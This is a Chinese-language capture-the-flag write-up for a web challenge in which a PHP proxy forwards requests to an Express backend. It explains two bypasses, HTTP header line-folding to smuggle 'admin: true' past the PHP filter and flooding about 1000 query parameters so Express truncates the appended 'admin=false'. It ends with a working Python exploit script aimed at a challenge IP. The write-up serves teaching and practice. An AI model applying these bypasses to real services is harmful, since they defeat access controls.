首先看 js 的 express 框架

1
2
3
4
5
6
7
8
9
10
11
12
13
app.get('/flag', (req, res) => {

if(!req.query.admin.includes('false') && req.headers.admin.includes('true')){

res.send(flag);

}else{

res.send('try hard');

}

});

必须满足查询参数中不包含 flase,请求头有 admin:true (这里的请求头是 post 中的请求头)

再看 web php 代码

$input = file_get_contents('php://input');

这里是直接获取的 post 内容

$headers = (array)json_decode($input)->headers;

将一个 JSON 字符串解析为 PHP 对象,然后提取其中的 headers 字段,并将其转换为 PHP 数组

1
2
3
4
for($i = 0; $i < count($headers); $i++){    $offset = stripos($headers[$i], ':');    $key = substr($headers[$i], 0, $offset);    $value = substr($headers[$i], $offset + 1);  
if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
die('try hard');
}

这段 PHP 代码遍历一个 HTTP 头数组($headers),检查是否有 admin 头且其值包含 true,如果匹配到,则终止脚本并返回 'try hard'

$params = (array)json_decode($input)->params;

同理,这一段用于将 post 中的 params 数据转化php数组

1
2
$url .= http_build_query($params);  //将 $params 转化为查询字符串并拼接到 url 后面
$url .= '&admin=false'; //这里拼接了 false,使后端 express 监听错误

那么矛盾点就出来了,一个是请求头 header 的 admin,一个是请求参数 param 的 admin 的矛盾

首先解决 header

js 要求 admin 值包含 true,php 要求不能有 admin:true (包含) 出现
可以构造

1
{headers:["admin: x"," true: y"]}

本来应该这样

1
{headers:["admin:true"]}

RFC 7230(HTTP/1.1 协议的定义)规定了 field-name 是由一个或多个打印的 ASCII 字符组成,不包括分隔符,包括空格。因此,如果一个 field-name 的第一个字符是空格,那么这个 HTTP header 是非法的,应该被服务器或客户端忽略或拒绝。
根据rfc,header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行
curl 生成的 headers 如下 (注意空格)

这段数据先传入服务端,被 php 函数处理加工,经过 curl 后是这样的(注意空格)
因为 curl 会找冒号去分开数据

1
2
admin: x
true: y

然后这段数据继续通过代理传向后端服务,由于协议,header 会转化为

1
"admin": "x true y"

从而绕过 js 处的 true 判断

然后解决 paramas

因为 curl 在 params 查询参数添加了 admin=flase,所以要想办法截断

而 express 框架对于查询参数大小是有截断的

大概是 1000 个参数

那么只要参数足够多就可以挤掉最后 curl 添加的 admin=false

构造

1
params:["admin":true,"x":1,"x":1........]

最后 exp

1
{headers:["admin":"x"," true":"y"],arams:["admin":true,"x":1,"x":1........]}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import requests
import re

url = "http://61.147.171.105:54269/"

cop = ''
for i in range(1000):
cop += f',"{i}":"1"'

data = '{"headers":["admin: x"," true: y"],"params":{"admin":"t","x":"1"'+cop+'}}'
res = requests.post(url,data=data)


# 修正后的正则:匹配4-10个字母字符后跟JSON内容
pattern = re.compile(r'[a-zA-Z]{4,10}{.*?}')
flag = pattern.findall(res.text)
if flag:
print(flag)

注意这里请求参数个数 1000,太大了比如 10000 就无法成功
而且请求参数尽量不要重复,也会出现错误